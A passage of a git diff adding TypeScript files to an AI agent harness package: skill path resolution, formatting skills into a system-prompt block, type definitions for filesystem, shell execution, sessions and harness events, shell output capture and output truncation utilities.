resolveKind( + env: ExecutionEnv, + info: FileInfo, + diagnostics: SkillDiagnostic[], +): Promise<"file" | "directory" | undefined> { + if (info.kind === "file" || info.kind === "directory") { + return info.kind; + } + const canonicalPath = await env.canonicalPath(info.path); + if (!canonicalPath.ok) { + if (canonicalPath.error.code !== "not_found") { + diagnostics.push({ + type: "warning", + code: "file_info_failed", + message: canonicalPath.error.message, + path: info.path, + }); + } + return undefined; + } + const target = await env.fileInfo(canonicalPath.value); + if (!target.ok) { + if (target.error.code !== "not_found") { + diagnostics.push({ + type: "warning", + code: "file_info_failed", + message: target.error.message, + path: info.path, + }); + } + return undefined; + } + return target.value.kind === "file" || target.value.kind === "directory" + ? target.value.kind + : undefined; +} + +function joinEnvPath(base: string, child: string): string { + return `${base.replace(/\/+$/, "")}/${child.replace(/^\/+/, "")}`; +} + +function dirnameEnvPath(path: string): string { + const normalized = path.replace(/\/+$/, ""); + const slashIndex = normalized.lastIndexOf("/"); + return slashIndex <= 0 ? "/" : normalized.slice(0, slashIndex); +} + +function basenameEnvPath(path: string): string { + const normalized = path.replace(/\/+$/, ""); + const slashIndex = normalized.lastIndexOf("/"); + return slashIndex === -1 ? normalized : normalized.slice(slashIndex + 1); +} + +function relativeEnvPath(root: string, path: string): string { + const normalizedRoot = root.replace(/\/+$/, ""); + const normalizedPath = path.replace(/\/+$/, ""); + if (normalizedPath === normalizedRoot) { + return ""; + } + return normalizedPath.startsWith(`${normalizedRoot}/`) + ? normalizedPath.slice(normalizedRoot.length + 1) + : normalizedPath.replace(/^\/+/, ""); +} diff --git a/packages/agent-core/src/harness/system-prompt.ts b/packages/agent-core/src/harness/system-prompt.ts new file mode 100644 index 00000000000..51327d510bb --- /dev/null +++ b/packages/agent-core/src/harness/system-prompt.ts @@ -0,0 +1,36 @@ +import type { Skill } from "./types.js"; + +export function formatSkillsForSystemPrompt(skills: Skill[]): string { + const visibleSkills = skills.filter((skill) => !skill.disableModelInvocation); + if (visibleSkills.length === 0) { + return ""; + } + + const lines = [ + "The following skills provide specialized instructions for specific tasks.", + "Read the full skill file when the task matches its description.", + "When a skill file references a relative path, resolve it against the skill directory (parent of SKILL.md / dirname of the path) and use that absolute path in tool commands.", + "", + "", + ]; + + for (const skill of visibleSkills) { + lines.push(" "); + lines.push(` ${escapeXml(skill.name)}`); + lines.push(` ${escapeXml(skill.description)}`); + lines.push(` ${escapeXml(skill.filePath)}`); + lines.push(" "); + } + + lines.push(""); + return lines.join("\n"); +} + +function escapeXml(value: string): string { + return value + .replace(/&/g, "&") + .replace(//g, ">") + .replace(/"/g, """) + .replace(/'/g, "'"); +} diff --git a/packages/agent-core/src/harness/types.ts b/packages/agent-core/src/harness/types.ts new file mode 100644 index 00000000000..b9593e0685e --- /dev/null +++ b/packages/agent-core/src/harness/types.ts @@ -0,0 +1,855 @@ +import type { AgentEvent, AgentMessage, AgentTool, QueueMode, ThinkingLevel } from "../index.js"; +import type { + ImageContent, + Model, + SimpleStreamOptions, + StreamFn, + TextContent, + Transport, +} from "../llm.js"; +import type { AgentCoreCompletionRuntimeDeps, AgentCoreRuntimeDeps } from "../runtime-deps.js"; +import type { Session } from "./session/session.js"; + +/** Result of a fallible operation. Expected failures are returned as `ok: false` instead of thrown. */ +export type Result = { ok: true; value: TValue } | { ok: false; error: TError }; + +/** Create a successful {@link Result}. */ +export function ok(value: TValue): Result { + return { ok: true, value }; +} + +/** Create a failed {@link Result}. */ +export function err(error: TError): Result { + return { ok: false, error }; +} + +/** Return the success value or throw the failure error. Intended for tests and explicit adapter boundaries. */ +export function getOrThrow(result: Result): TValue { + if (!result.ok) { + throw result.error; + } + return result.value; +} + +/** Return the success value or `undefined`. Only object values are allowed to avoid truthiness bugs with primitives. */ +export function getOrUndefined( + result: Result, +): TValue | undefined { + return result.ok ? result.value : undefined; +} + +/** Normalize unknown thrown values into Error instances before using them as typed error causes. */ +export function toError(error: unknown): Error { + if (error instanceof Error) { + return error; + } + if (typeof error === "string") { + return new Error(error); + } + try { + return new Error(JSON.stringify(error)); + } catch { + return new Error(String(error)); + } +} + +/** + * Skill loaded from a `SKILL.md` file or provided by an application. + * + * `name`, `description`, and `filePath` are inserted into the system prompt in an XML-formatted block as suggested by agentskills.io. + * Use {@link formatSkillsForSystemPrompt} to generate the spec-compatible system prompt block. + */ +export interface Skill { + /** Stable skill name used for lookup and model-visible listings. */ + name: string; + /** Short model-visible description of when to use the skill. */ + description: string; + /** Full skill instructions. */ + content: string; + /** Absolute path to the skill file. Used for model-visible location and resolving relative references. */ + filePath: string; + /** Exclude this skill from model-visible skill lists while still allowing explicit application invocation. */ + disableModelInvocation?: boolean; +} + +/** Prompt template that can be formatted into a prompt for explicit invocation. */ +export interface PromptTemplate { + /** Stable template name used for lookup or application command routing. */ + name: string; + /** Optional description for command lists or autocomplete. */ + description?: string; + /** Template content. Argument placeholders are formatted by `formatPromptTemplateInvocation`. */ + content: string; +} + +/** Resources made available to explicit invocation methods and system-prompt callbacks. */ +export interface AgentHarnessResources< + TSkill extends Skill = Skill, + TPromptTemplate extends PromptTemplate = PromptTemplate, +> { + /** Prompt templates available for explicit invocation. */ + promptTemplates?: TPromptTemplate[]; + /** Skills available to the model and explicit skill invocation. */ + skills?: TSkill[]; +} + +/** Curated provider request options owned by the harness and snapshotted per turn. */ +export interface AgentHarnessStreamOptions { + /** Preferred transport forwarded to the stream function. */ + transport?: Transport; + /** Provider request timeout in milliseconds. */ + timeoutMs?: number; + /** Maximum provider retry attempts. */ + maxRetries?: number; + /** Optional cap for provider-requested retry delays. */ + maxRetryDelayMs?: number; + /** Additional request headers merged with auth and lifecycle headers. */ + headers?: Record; + /** Provider metadata forwarded with requests. */ + metadata?: SimpleStreamOptions["metadata"]; + /** Provider cache retention hint. */ + cacheRetention?: SimpleStreamOptions["cacheRetention"]; +} + +/** Per-request stream option patch returned by provider hooks. */ +export interface AgentHarnessStreamOptionsPatch extends Omit< + Partial, + "headers" | "metadata" +> { + /** Header patch. `undefined` values delete keys; explicit `headers: undefined` clears all headers. */ + headers?: Record; + /** Metadata patch. `undefined` values delete keys; explicit `metadata: undefined` clears all metadata. */ + metadata?: Record; +} + +/** Kind of filesystem object as addressed by a {@link FileSystem}. Symlinks are not followed automatically. */ +export type FileKind = "file" | "directory" | "symlink"; + +/** Stable, backend-independent file error codes returned by {@link FileSystem} file operations. */ +export type FileErrorCode = + | "aborted" + | "not_found" + | "permission_denied" + | "not_directory" + | "is_directory" + | "invalid" + | "not_supported" + | "unknown"; + +/** Error returned by {@link FileSystem} file operations. */ +export class FileError extends Error { + /** Backend-independent error code. */ + public code: FileErrorCode; + /** Absolute addressed path associated with the failure, when available. */ + public path?: string; + + constructor(code: FileErrorCode, message: string, path?: string, cause?: Error) { + super(message, cause === undefined ? undefined : { cause }); + this.name = "FileError"; + this.code = code; + this.path = path; + } +} + +/** Stable, backend-independent execution error codes returned by {@link ExecutionEnv.exec}. */ +export type ExecutionErrorCode = + | "aborted" + | "timeout" + | "shell_unavailable" + | "spawn_error" + | "callback_error" + | "unknown"; + +/** Error returned by {@link ExecutionEnv.exec}. */ +export class ExecutionError extends Error { + /** Backend-independent error code. */ + public code: ExecutionErrorCode; + + constructor(code: ExecutionErrorCode, message: string, cause?: Error) { + super(message, cause === undefined ? undefined : { cause }); + this.name = "ExecutionError"; + this.code = code; + } +} + +/** Stable compaction error codes returned by compaction helpers. */ +export type CompactionErrorCode = + | "aborted" + | "summarization_failed" + | "invalid_session" + | "unknown"; + +/** Error returned by compaction helpers. */ +export class CompactionError extends Error { + /** Backend-independent error code. */ + public code: CompactionErrorCode; + + constructor(code: CompactionErrorCode, message: string, cause?: Error) { + super(message, cause === undefined ? undefined : { cause }); + this.name = "CompactionError"; + this.code = code; + } +} + +/** Stable branch-summary error codes returned by branch summarization helpers. */ +export type BranchSummaryErrorCode = "aborted" | "summarization_failed" | "invalid_session"; + +/** Error returned by branch summarization helpers. */ +export class BranchSummaryError extends Error { + /** Backend-independent error code. */ + public code: BranchSummaryErrorCode; + + constructor(code: BranchSummaryErrorCode, message: string, cause?: Error) { + super(message, cause === undefined ? undefined : { cause }); + this.name = "BranchSummaryError"; + this.code = code; + } +} + +export type SessionErrorCode = + | "not_found" + | "invalid_session" + | "invalid_entry" + | "invalid_fork_target" + | "storage" + | "unknown"; + +/** Error thrown by session storage, repositories, and session tree operations. */ +export class SessionError extends Error { + /** Session subsystem error code. */ + public code: SessionErrorCode; + + constructor(code: SessionErrorCode, message: string, cause?: Error) { + super(message, cause === undefined ? undefined : { cause }); + this.name = "SessionError"; + this.code = code; + } +} + +export type AgentHarnessErrorCode = + | "busy" + | "invalid_state" + | "invalid_argument" + | "session" + | "hook" + | "auth" + | "compaction" + | "branch_summary" + | "unknown"; + +/** Public AgentHarness failure with a stable top-level classification. */ +export class AgentHarnessError extends Error { + public code: AgentHarnessErrorCode; + + constructor(code: AgentHarnessErrorCode, message: string, cause?: Error) { + super(message, cause === undefined ? undefined : { cause }); + this.name = "AgentHarnessError"; + this.code = code; + } +} + +/** Metadata for one filesystem object in a {@link FileSystem}. */ +export interface FileInfo { + /** Basename of {@link path}. */ + name: string; + /** Absolute, syntactically normalized addressed path in the execution environment. Symlinks are not followed. */ + path: string; + /** Object kind. Symlink targets are not followed; use {@link FileSystem.canonicalPath} explicitly. */ + kind: FileKind; + /** Size in bytes for the addressed filesystem object. */ + size: number; + /** Modification time as milliseconds since Unix epoch. */ + mtimeMs: number; +} + +/** Options for {@link Shell.exec}. */ +export interface ExecutionEnvExecOptions { + /** Working directory for the command. Relative paths are resolved against {@link ExecutionEnv.cwd}. Defaults to {@link ExecutionEnv.cwd}. */ + cwd?: string; + /** Additional environment variables for the command. Values override the environment defaults. Defaults to no overrides. */ + env?: Record; + /** Timeout in seconds. Implementations should return a timeout error when the command exceeds this duration. Defaults to no timeout. */ + timeout?: number; + /** Abort signal used to terminate the command. Defaults to no abort signal. */ + abortSignal?: AbortSignal; + /** Called with stdout chunks as they are produced. */ + onStdout?: (chunk: string) => void; + /** Called with stderr chunks as they are produced. */ + onStderr?: (chunk: string) => void; +} + +/** + * Filesystem capability used by the harness. + * + * Paths passed to methods may be absolute or relative to {@link cwd}. Paths returned by file operations are addressed paths + * in the filesystem namespace, but are not canonicalized through symlinks unless returned by {@link canonicalPath}. + * + * Operation methods must never throw or reject. All filesystem failures, including unexpected backend failures, must be + * encoded in the returned {@link Result}. Implementations must preserve this invariant. + */ +export interface FileSystem { + /** Current working directory for relative paths. */ + cwd: string; + + /** Return an absolute addressed path without requiring it to exist and without resolving symlinks. */ + absolutePath(path: string, abortSignal?: AbortSignal): Promise>; + /** Join path segments in the filesystem namespace without requiring the result to exist. */ + joinPath(parts: string[], abortSignal?: AbortSignal): Promise>; + /** Read a UTF-8 text file. */ + readTextFile(path: string, abortSignal?: AbortSignal): Promise>; + /** Read UTF-8 text lines. Implementations should stop once `maxLines` lines have been read. */ + readTextLines( + path: string, + options?: { maxLines?: number; abortSignal?: AbortSignal }, + ): Promise>; + /** Read a binary file. */ + readBinaryFile(path: string, abortSignal?: AbortSignal): Promise>; + /** Create or overwrite a file, creating parent directories when supported. */ + writeFile( + path: string, + content: string | Uint8Array, + abortSignal?: AbortSignal, + ): Promise>; + /** Create or append to a file, creating parent directories when supported. */ + appendFile( + path: string, + content: string | Uint8Array, + abortSignal?: AbortSignal, + ): Promise>; + /** Return metadata for the addressed path without following symlinks. */ + fileInfo(path: string, abortSignal?: AbortSignal): Promise>; + /** List direct children of a directory without following symlinks. */ + listDir(path: string, abortSignal?: AbortSignal): Promise>; + /** Return the canonical path for an existing path, resolving symlinks where supported. */ + canonicalPath(path: string, abortSignal?: AbortSignal): Promise>; + /** Return false for missing paths. Other errors, such as permission failures, return a {@link FileError}. */ + exists(path: string, abortSignal?: AbortSignal): Promise>; + /** Create a directory. Defaults: `recursive: true`, no abort signal. */ + createDir( + path: string, + options?: { recursive?: boolean; abortSignal?: AbortSignal }, + ): Promise>; + /** Remove a file or directory. Defaults: `recursive: false`, `force: false`, no abort signal. */ + remove( + path: string, + options?: { recursive?: boolean; force?: boolean; abortSignal?: AbortSignal }, + ): Promise>; + /** Create a temporary directory and return its absolute path. Defaults: `prefix: "tmp-"`, no abort signal. */ + createTempDir(prefix?: string, abortSignal?: AbortSignal): Promise>; + /** Create a temporary file and return its absolute path. Defaults: `prefix: ""`, `suffix: ""`, no abort signal. */ + createTempFile(options?: { + prefix?: string; + suffix?: string; + abortSignal?: AbortSignal; + }): Promise>; + + /** Release filesystem resources. Must be best-effort and must not throw or reject. */ + cleanup(): Promise; +} + +/** Shell execution capability used by the harness. */ +export interface Shell { + /** Execute a shell command in {@link FileSystem.cwd} unless `options.cwd` is provided. */ + exec( + command: string, + options?: ExecutionEnvExecOptions, + ): Promise>; + /** Release shell resources. Must be best-effort and must not throw or reject. */ + cleanup(): Promise; +} + +/** Filesystem and process execution environment used by the harness. */ +export interface ExecutionEnv extends FileSystem, Shell {} + +export interface SessionTreeEntryBase { + type: string; + id: string; + parentId: string | null; + timestamp: string; +} + +export interface MessageEntry extends SessionTreeEntryBase { + type: "message"; + message: AgentMessage; +} + +export interface ThinkingLevelChangeEntry extends SessionTreeEntryBase { + type: "thinking_level_change"; + thinkingLevel: string; +} + +export interface ModelChangeEntry extends SessionTreeEntryBase { + type: "model_change"; + provider: string; + modelId: string; +} + +export interface CompactionEntry extends SessionTreeEntryBase { + type: "compaction"; + summary: string; + firstKeptEntryId: string; + tokensBefore: number; + details?: T; + fromHook?: boolean; +} + +export interface BranchSummaryEntry extends SessionTreeEntryBase { + type: "branch_summary"; + fromId: string; + summary: string; + details?: T; + fromHook?: boolean; +} + +export interface CustomEntry extends SessionTreeEntryBase { + type: "custom"; + customType: string; + data?: T; +} + +export interface CustomMessageEntry extends SessionTreeEntryBase { + type: "custom_message"; + customType: string; + content: string | (TextContent | ImageContent)[]; + details?: T; + display: boolean; +} + +export interface LabelEntry extends SessionTreeEntryBase { + type: "label"; + targetId: string; + label: string | undefined; +} + +export interface SessionInfoEntry extends SessionTreeEntryBase { + type: "session_info"; // legacy name, kept for backwards compatibility + name?: string; +} + +export interface LeafEntry extends SessionTreeEntryBase { + type: "leaf"; + targetId: string | null; +} + +export type SessionTreeEntry = + | MessageEntry + | ThinkingLevelChangeEntry + | ModelChangeEntry + | CompactionEntry + | BranchSummaryEntry + | CustomEntry + | CustomMessageEntry + | LabelEntry + | SessionInfoEntry + | LeafEntry; + +export interface SessionContext { + messages: AgentMessage[]; + thinkingLevel: string; + model: { provider: string; modelId: string } | null; +} + +export interface SessionMetadata { + id: string; + createdAt: string; +} + +export interface JsonlSessionMetadata extends SessionMetadata { + cwd: string; + path: string; + parentSessionPath?: string; +} + +export interface SessionStorage { + getMetadata(): Promise; + getLeafId(): Promise; + /** Persist a leaf entry that records the active session-tree leaf. */ + setLeafId(leafId: string | null): Promise; + createEntryId(): Promise; + appendEntry(entry: SessionTreeEntry): Promise; + getEntry(id: string): Promise; + findEntries( + type: TType, + ): Promise>>; + getLabel(id: string): Promise; + getPathToRoot(leafId: string | null): Promise; + getEntries(): Promise; +} + +export type { Session } from "./session/session.js"; + +export interface SessionCreateOptions { + id?: string; +} + +export interface SessionForkOptions { + entryId?: string; + position?: "before" | "at"; + id?: string; +} + +export interface SessionRepo< + TMetadata extends SessionMetadata = SessionMetadata, + TCreateOptions extends SessionCreateOptions = SessionCreateOptions, + TListOptions = void, +> { + create(options: TCreateOptions): Promise>; + open(metadata: TMetadata): Promise>; + list(options?: TListOptions): Promise; + delete(metadata: TMetadata): Promise; + fork( + source: TMetadata, + options: SessionForkOptions & TCreateOptions, + ): Promise>; +} + +export interface JsonlSessionCreateOptions extends SessionCreateOptions { + cwd: string; + parentSessionPath?: string; +} + +export interface JsonlSessionListOptions { + cwd?: string; +} + +export interface JsonlSessionRepoApi extends SessionRepo< + JsonlSessionMetadata, + JsonlSessionCreateOptions, + JsonlSessionListOptions +> {} + +export type AgentHarnessPhase = "idle" | "turn" | "compaction" | "branch_summary" | "retry"; + +export type PendingSessionWrite = SessionTreeEntry extends infer TEntry + ? TEntry extends SessionTreeEntry + ? Omit + : never + : never; + +export interface QueueUpdateEvent { + type: "queue_update"; + steer: AgentMessage[]; + followUp: AgentMessage[]; + nextTurn: AgentMessage[]; +} + +export interface SavePointEvent { + type: "save_point"; + hadPendingMutations: boolean; +} + +export interface AbortEvent { + type: "abort"; + clearedSteer: AgentMessage[]; + clearedFollowUp: AgentMessage[]; +} + +export interface SettledEvent { + type: "settled"; + nextTurnCount: number; +} + +export interface BeforeAgentStartEvent< + TSkill extends Skill = Skill, + TPromptTemplate extends PromptTemplate = PromptTemplate, +> { + type: "before_agent_start"; + prompt: string; + images?: ImageContent[]; + systemPrompt: string; + resources: AgentHarnessResources; +} + +export interface ContextEvent { + type: "context"; + messages: AgentMessage[]; +} + +export interface BeforeProviderRequestEvent { + type: "before_provider_request"; + model: Model; + sessionId: string; + streamOptions: AgentHarnessStreamOptions; +} + +export interface BeforeProviderPayloadEvent { + type: "before_provider_payload"; + model: Model; + payload: unknown; +} + +export interface AfterProviderResponseEvent { + type: "after_provider_response"; + status: number; + headers: Record; +} + +export interface ToolCallEvent { + type: "tool_call"; + toolCallId: string; + toolName: string; + input: Record; +} + +export interface ToolResultEvent { + type: "tool_result"; + toolCallId: string; + toolName: string; + input: Record; + content: Array; + details: unknown; + isError: boolean; +} + +export interface SessionBeforeCompactEvent { + type: "session_before_compact"; + preparation: CompactionPreparation; + branchEntries: SessionTreeEntry[]; + customInstructions?: string; + signal: AbortSignal; +} + +export interface SessionCompactEvent { + type: "session_compact"; + compactionEntry: CompactionEntry; + fromHook: boolean; +} + +export interface SessionBeforeTreeEvent { + type: "session_before_tree"; + preparation: TreePreparation; + signal: AbortSignal; +} + +export interface SessionTreeEvent { + type: "session_tree"; + newLeafId: string | null; + oldLeafId: string | null; + summaryEntry?: BranchSummaryEntry; + fromHook?: boolean; +} + +export interface ModelSelectEvent { + type: "model_select"; + model: Model; + previousModel: Model | undefined; + source: "set" | "restore"; +} + +export interface ThinkingLevelSelectEvent { + type: "thinking_level_select"; + level: ThinkingLevel; + previousLevel: ThinkingLevel; +} + +export interface ResourcesUpdateEvent< + TSkill extends Skill = Skill, + TPromptTemplate extends PromptTemplate = PromptTemplate, +> { + type: "resources_update"; + resources: AgentHarnessResources; + previousResources: AgentHarnessResources; +} + +export type AgentHarnessOwnEvent< + TSkill extends Skill = Skill, + TPromptTemplate extends PromptTemplate = PromptTemplate, +> = + | QueueUpdateEvent + | SavePointEvent + | AbortEvent + | SettledEvent + | BeforeAgentStartEvent + | ContextEvent + | BeforeProviderRequestEvent + | BeforeProviderPayloadEvent + | AfterProviderResponseEvent + | ToolCallEvent + | ToolResultEvent + | SessionBeforeCompactEvent + | SessionCompactEvent + | SessionBeforeTreeEvent + | SessionTreeEvent + | ModelSelectEvent + | ThinkingLevelSelectEvent + | ResourcesUpdateEvent; + +export type AgentHarnessEvent< + TSkill extends Skill = Skill, + TPromptTemplate extends PromptTemplate = PromptTemplate, +> = AgentEvent | AgentHarnessOwnEvent; + +export interface BeforeAgentStartResult { + messages?: AgentMessage[]; + systemPrompt?: string; +} + +export interface ContextResult { + messages: AgentMessage[]; +} + +export interface BeforeProviderRequestResult { + streamOptions?: AgentHarnessStreamOptionsPatch; +} + +export interface BeforeProviderPayloadResult { + payload: unknown; +} + +export interface ToolCallResult { + block?: boolean; + reason?: string; +} + +export interface ToolResultPatch { + content?: Array; + details?: unknown; + isError?: boolean; + terminate?: boolean; +} + +export interface SessionBeforeCompactResult { + cancel?: boolean; + compaction?: CompactResult; +} + +export interface SessionBeforeTreeResult { + cancel?: boolean; + summary?: { summary: string; details?: unknown }; + customInstructions?: string; + replaceInstructions?: boolean; + label?: string; +} + +export type AgentHarnessEventResultMap = { + before_agent_start: BeforeAgentStartResult | undefined; + context: ContextResult | undefined; + before_provider_request: BeforeProviderRequestResult | undefined; + before_provider_payload: BeforeProviderPayloadResult | undefined; + after_provider_response: undefined; + tool_call: ToolCallResult | undefined; + tool_result: ToolResultPatch | undefined; + session_before_compact: SessionBeforeCompactResult | undefined; + session_compact: undefined; + session_before_tree: SessionBeforeTreeResult | undefined; + session_tree: undefined; + model_select: undefined; + thinking_level_select: undefined; + resources_update: undefined; + queue_update: undefined; + save_point: undefined; + abort: undefined; + settled: undefined; +}; + +export interface AgentHarnessPromptOptions { + images?: ImageContent[]; +} + +export interface AbortResult { + clearedSteer: AgentMessage[]; + clearedFollowUp: AgentMessage[]; +} + +export interface CompactResult { + summary: string; + firstKeptEntryId: string; + tokensBefore: number; + details?: unknown; +} + +export interface NavigateTreeResult { + cancelled: boolean; + editorText?: string; + summaryEntry?: BranchSummaryEntry; +} + +export interface CompactionSettings { + enabled: boolean; + reserveTokens: number; + keepRecentTokens: number; +} + +export interface CompactionPreparation { + firstKeptEntryId: string; + messagesToSummarize: AgentMessage[]; + turnPrefixMessages: AgentMessage[]; + isSplitTurn: boolean; + tokensBefore: number; + previousSummary?: string; + fileOps: FileOperations; + settings: CompactionSettings; +} + +export interface FileOperations { + read: Set; + written: Set; + edited: Set; +} + +export interface TreePreparation { + targetId: string; + oldLeafId: string | null; + commonAncestorId: string | null; + entriesToSummarize: SessionTreeEntry[]; + userWantsSummary: boolean; + customInstructions?: string; + replaceInstructions?: boolean; + label?: string; +} + +export interface GenerateBranchSummaryOptions { + model: Model; + apiKey: string; + headers?: Record; + signal: AbortSignal; + runtime?: AgentCoreCompletionRuntimeDeps; + streamFn?: StreamFn; + customInstructions?: string; + replaceInstructions?: boolean; + reserveTokens?: number; +} + +export interface BranchSummaryResult { + summary: string; + readFiles: string[]; + modifiedFiles: string[]; +} + +export interface AgentHarnessOptions< + TSkill extends Skill = Skill, + TPromptTemplate extends PromptTemplate = PromptTemplate, + TTool extends AgentTool = AgentTool, +> { + env: ExecutionEnv; + session: Session; + tools?: TTool[]; + /** + * Concrete resources available to explicit invocation methods and system-prompt callbacks. + * Applications own loading/reloading resources and should call `setResources()` with new values. + */ + resources?: AgentHarnessResources; + systemPrompt?: + | string + | ((context: { + env: ExecutionEnv; + session: Session; + model: Model; + thinkingLevel: ThinkingLevel; + activeTools: TTool[]; + resources: AgentHarnessResources; + }) => string | Promise); + getApiKeyAndHeaders?: ( + model: Model, + ) => Promise<{ apiKey: string; headers?: Record } | undefined>; + runtime?: AgentCoreRuntimeDeps; + /** Curated stream/provider request options. Snapshotted at turn start. */ + streamOptions?: AgentHarnessStreamOptions; + model: Model; + thinkingLevel?: ThinkingLevel; + activeToolNames?: string[]; + steeringMode?: QueueMode; + followUpMode?: QueueMode; +} + +export type { AgentHarness } from "./agent-harness.js"; diff --git a/packages/agent-core/src/harness/utils/shell-output.ts b/packages/agent-core/src/harness/utils/shell-output.ts new file mode 100644 index 00000000000..a72b7fffa2a --- /dev/null +++ b/packages/agent-core/src/harness/utils/shell-output.ts @@ -0,0 +1,174 @@ +import { + type ExecutionEnv, + type ExecutionEnvExecOptions, + ExecutionError, + err, + ok, + type Result, + toError, +} from "../types.js"; +import { DEFAULT_MAX_BYTES, truncateTail } from "./truncate.js"; + +export interface ShellCaptureOptions extends Omit< + ExecutionEnvExecOptions, + "onStdout" | "onStderr" +> { + onChunk?: (chunk: string) => void; +} + +export interface ShellCaptureResult { + output: string; + exitCode: number | undefined; + cancelled: boolean; + truncated: boolean; + fullOutputPath?: string; +} + +function toExecutionError(error: unknown): ExecutionError { + if (error instanceof ExecutionError) { + return error; + } + const cause = toError(error); + return new ExecutionError("unknown", cause.message, cause); +} + +export function sanitizeBinaryOutput(str: string): string { + return Array.from(str) + .filter((char) => { + const code = char.codePointAt(0); + if (code === undefined) { + return false; + } + if (code === 0x09 || code === 0x0a || code === 0x0d) { + return true; + } + if (code <= 0x1f) { + return false; + } + if (code >= 0xfff9 && code <= 0xfffb) { + return false; + } + return true; + }) + .join(""); +} + +export async function executeShellWithCapture( + env: ExecutionEnv, + command: string, + options?: ShellCaptureOptions, +): Promise> { + const outputChunks: string[] = []; + let outputBytes = 0; + const maxOutputBytes = DEFAULT_MAX_BYTES * 2; + const encoder = new TextEncoder(); + + let totalBytes = 0; + let fullOutputPath: string | undefined; + let writeChain: Promise> = Promise.resolve(ok(undefined)); + let captureError: ExecutionError | undefined; + + const appendFullOutput = (text: string): void => { + if (!fullOutputPath || captureError) { + return; + } + const path = fullOutputPath; + writeChain = writeChain.then(async (previous) => { + if (!previous.ok) { + return previous; + } + const appendResult = await env.appendFile(path, text, options?.abortSignal); + return appendResult.ok ? ok(undefined) : err(toExecutionError(appendResult.error)); + }); + }; + + const ensureFullOutputFile = (initialContent: string): void => { + if (fullOutputPath || captureError) { + return; + } + writeChain = writeChain.then(async (previous) => { + if (!previous.ok) { + return previous; + } + const tempFile = await env.createTempFile({ + prefix: "bash-", + suffix: ".log", + abortSignal: options?.abortSignal, + }); + if (!tempFile.ok) { + return err(toExecutionError(tempFile.error)); + } + fullOutputPath = tempFile.value; + const appendResult = await env.appendFile( + tempFile.value, + initialContent, + options?.abortSignal, + ); + return appendResult.ok ? ok(undefined) : err(toExecutionError(appendResult.error)); + }); + }; + + const onChunk = (chunk: string) => { + try { + totalBytes += encoder.encode(chunk).byteLength; + const text = sanitizeBinaryOutput(chunk).replace(/\r/g, ""); + if (totalBytes > DEFAULT_MAX_BYTES && !fullOutputPath) { + ensureFullOutputFile(outputChunks.join("") + text); + } else { + appendFullOutput(text); + } + outputChunks.push(text); + outputBytes += text.length; + while (outputBytes > maxOutputBytes && outputChunks.length > 1) { + const removed = outputChunks.shift()!; + outputBytes -= removed.length; + } + options?.onChunk?.(text); + } catch (error) { + captureError = toExecutionError(error); + } + }; + + try { + const result = await env.exec(command, { + ...options, + onStdout: onChunk, + onStderr: onChunk, + }); + const tailOutput = outputChunks.join(""); + const truncationResult = truncateTail(tailOutput); + if (truncationResult.truncated && !fullOutputPath) { + ensureFullOutputFile(tailOutput); + } + const writeResult = await writeChain; + if (!writeResult.ok) { + return err(writeResult.error); + } + if (captureError) { + return err(captureError); + } + + if (!result.ok) { + if (result.error.code === "aborted" || options?.abortSignal?.aborted) { + return ok({ + output: truncationResult.truncated ? truncationResult.content : tailOutput, + exitCode: undefined, + cancelled: true, + truncated: truncationResult.truncated, + fullOutputPath, + }); + } + return err(result.error); + } + const cancelled = options?.abortSignal?.aborted ?? false; + return ok({ + output: truncationResult.truncated ? truncationResult.content : tailOutput, + exitCode: cancelled ? undefined : result.value.exitCode, + cancelled, + truncated: truncationResult.truncated, + fullOutputPath, + }); + } catch (error) { + return err(toExecutionError(error)); + } +} diff --git a/packages/agent-core/src/harness/utils/truncate.ts b/packages/agent-core/src/harness/utils/truncate.ts new file mode 100644 index 00000000000..169966eb2f8 --- /dev/null +++ b/packages/agent-core/src/harness/utils/truncate.ts @@ -0,0 +1,361 @@ +/** + * Shared truncation utilities for tool outputs. + * + * Truncation is based on two independent limits - whichever is hit first wins: + * - Line limit (default: 2000 lines) + * - Byte limit (default: 50KB) + * + * Never returns partial lines (except bash tail truncation edge case). + */ + +export const DEFAULT_MAX_LINES = 2000; +export const DEFAULT_MAX_BYTES = 50 * 1024; // 50KB +export const GREP_MAX_LINE_LENGTH = 500; // Max chars per grep match line + +export interface TruncationResult { + /** The truncated content */ + content: string; + /** Whether truncation occurred */ + truncated: boolean; + /** Which limit was hit: "lines", "bytes", or null if not truncated */ + truncatedBy: "lines" | "bytes" | null; + /** Total number of lines in the original content */ + totalLines: number; + /** Total number of bytes in the original content */ + totalBytes: number; + /** Number of complete lines in the truncated output */ + outputLines: number; + /** Number of bytes in the truncated output */ + outputBytes: number; + /** Whether the last line was partially truncated (only for tail truncation edge case) */ + lastLinePartial: boolean; + /** Whether the first line exceeded the byte limit (for head truncation) */ + firstLineExceedsLimit: boolean; + /** The max lines limit that was applied */ + maxLines: number; + /** The max bytes limit that was applied */ + maxBytes: number; +} + +export interface TruncationOptions { + /** Maximum number of lines (default: 2000) */ + maxLines?: number; + /** Maximum number of bytes (default: 50KB) */ + maxBytes?: number; +} + +interface RuntimeBuffer { + byteLength(content: string, encoding: "utf8"): number; +} + +const runtimeBuffer = (globalThis as { Buffer?: RuntimeBuffer }).Buffer; + +function findFirstNonAscii(content: string): number { + for (let index = 0; index < content.length; index++) { + if (content.charCodeAt(index) > 0x7f) { + return index; + } + } + return -1; +} + +function utf8ByteLength(content: string): number { + if (runtimeBuffer) { + return runtimeBuffer.byteLength(content, "utf8"); + } + + const firstNonAscii = findFirstNonAscii(content); + if (firstNonAscii === -1) { + return content.length; + } + + let bytes = firstNonAscii; + for (let i = firstNonAscii; i < content.length; i++) { + const code = content.charCodeAt(i); + if (code <= 0x7f) { + bytes += 1; + } else if (code <= 0x7ff) { + bytes += 2; + } else if (code >= 0xd800 && code <= 0xdbff && i + 1 < content.length) { + const next = content.charCodeAt(i + 1); + if (next >= 0xdc00 && next <= 0xdfff) { + bytes += 4; + i++; + } else { + bytes += 3; + } + } else { + bytes += 3; + } + } + return bytes; +} + +function replaceUnpairedSurrogates(content: string): string { + let output = ""; + for (let i = 0; i < content.length; i++) { + const code = content.charCodeAt(i); + if (code >= 0xd800 && code <= 0xdbff) { + if (i + 1 < content.length) { + const next = content.charCodeAt(i + 1); + if (next >= 0xdc00 && next <= 0xdfff) { + output += content[i] + content[i + 1]; + i++; + continue; + } + } + output += "�"; + } else if (code >= 0xdc00 && code <= 0xdfff) { + output += "�"; + } else { + output += content[i]; + } + } + return output; +} + +/** + * Format bytes as human-readable size. + */ +export function formatSize(bytes: number): string { + if (bytes < 1024) { + return `${bytes}B`; + } else if (bytes < 1024 